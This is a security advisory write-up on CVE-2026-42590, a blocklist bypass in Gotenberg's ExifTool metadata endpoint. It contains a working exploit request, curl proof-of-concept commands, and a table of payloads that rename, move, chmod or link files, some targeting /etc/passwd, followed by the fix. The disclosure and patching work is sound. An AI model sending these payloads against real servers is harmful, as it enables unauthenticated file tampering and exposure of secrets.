← Notes

CVE-2026-42590: Gotenberg ExifTool Group-Prefix Bypass

Overview

CVECVE-2026-42590
AdvisoryGHSA-7v3r-m9c8-r855
Componentpkg/modules/exiftool/exiftool.go (WriteMetadata)
Affectedgithub.com/gotenberg/gotenberg/v8 ≤ 8.29.1
ClassCWE-184 (Incomplete List of Disallowed Inputs)
CVSS v3.18.2 (High) -- AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Found byLukas Johannes Moeller (@JohannesLks)

TL;DR

Gotenberg's metadata-write endpoint feeds attacker-supplied keys into ExifTool. The vulnerable blocklist rejects four dangerous pseudo-tags by exact name: FileName, Directory, HardLink, SymLink. ExifTool, however, accepts a group prefix (File:FileName, x:FileName, ...) and strips it internally. Any prefix sneaks past the comparison and the underlying rename / move / symlink action still runs. No authentication is required in the default deployment; the metadata field is part of every PDF-engine endpoint.

Root Cause

WriteMetadata in pkg/modules/exiftool/exiftool.go validates keys with a permissive character class and an exact-name blocklist:

// safeKeyPattern allows colons -- File:FileName passes
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)

dangerousTags := []string{"FileName", "Directory", "HardLink", "SymLink"}

for key := range metadata {
    for _, tag := range dangerousTags {
        if strings.EqualFold(key, tag) {  // exact-string only
            delete(metadata, key)
        }
    }
}

ExifTool's SetNewValue in Writer.pl peels the group off before the tag table lookup:

($options{Group}, $tag) = ($1, $2) if $tag =~ /(.*):(.+)/;

So Gotenberg sees a key it does not recognise (File:FileName) while ExifTool sees the canonical pseudo-tag (FileName). Same write, different views, blocklist evaded.

Reachability

The metadata-write surface is exposed on every PDF-engine route, e.g. /forms/pdfengines/metadata/write. Authentication in default Gotenberg is off; --api-enable-basic-auth is opt-in. A single multipart/form-data POST is enough:

POST /forms/pdfengines/metadata/write HTTP/1.1
Content-Type: multipart/form-data; boundary=---X

-----X
Content-Disposition: form-data; name="files"; filename="victim.pdf"
Content-Type: application/pdf

%PDF-1.0...
-----X
Content-Disposition: form-data; name="metadata"

{"File:Directory":"/tmp/poc_evidence"}
-----X--

ExifTool then runs:

exiftool -"File:Directory=/tmp/poc_evidence" /work/<uuid>.pdf

and the file is moved out of Gotenberg's working directory before the response is built.

Working payloads

Metadata key ExifTool effect
File:FileName=evil.pdf Renames the working file
x:FileName=evil.pdf Same -- any prefix is accepted
File:Directory=/tmp Moves the file to /tmp
File:HardLink=/etc/passwd Creates a hard link
a:SymLink=/etc/passwd Creates a symbolic link
FilePermissions=rwxrwxrwx chmod -- not in the blocklist at all
FileUserID / FileGroupID chown -- not in the blocklist at all

Live proof (excerpt)

=== CONTROL: direct FileName blocked (expected: 500) ===
curl -F 'files=@victim.pdf' \
     -F 'metadata={"FileName":"pwned.pdf"}' \
     http://localhost:3000/forms/pdfengines/metadata/write
-> HTTP 500 (direct dangerous tag rejected by the blocklist)

=== BYPASS: File:Directory -- file moved out of working dir ===
curl -F 'files=@victim.pdf' \
     -F 'metadata={"File:Directory":"/tmp/poc_evidence"}' \
     http://localhost:3000/forms/pdfengines/metadata/write
-> HTTP 404 (file gone, Gotenberg cannot return it)

$ ls /tmp/poc_evidence
-rw-r--r-- 1 gotenberg gotenberg 295 Apr 11 09:05 e3805f9f-...-cdb8d0903e43.pdf

Impact

  • Pre-auth (default config) arbitrary file rename, move, symlink, and hardlink within the Gotenberg container.
  • In volume-mounted or non-containerised deployments the writable scope expands beyond /work: an attacker can move processed PDFs to publicly served paths, overwrite other users' in-flight conversions, or set up a symlink for the next request to read attacker-chosen files (/etc/passwd, mounted secrets, ...).
  • FilePermissions / FileUserID / FileGroupID are unblocked in any form -- mode and ownership of files reachable by the Gotenberg user can be modified via the same endpoint.
  • No code execution primitive demonstrated; impact stays in the integrity / availability bucket. CVSS:8.2 reflects integrity-high with low availability impact.

Fix

Strip ExifTool group prefixes before the blocklist comparison, and extend the blocklist to cover the file-attribute pseudo-tags:

baseKey := key
if idx := strings.LastIndex(key, ":"); idx != -1 {
    baseKey = key[idx+1:]
}
for _, tag := range dangerousTags {
    if strings.EqualFold(baseKey, tag) {
        delete(metadata, key)
    }
}

dangerousTags := []string{
    "FileName", "Directory", "HardLink", "SymLink",
    "FilePermissions", "FileUserID", "FileGroupID",
}

Upstream fix tracked in GHSA-7v3r-m9c8-r855.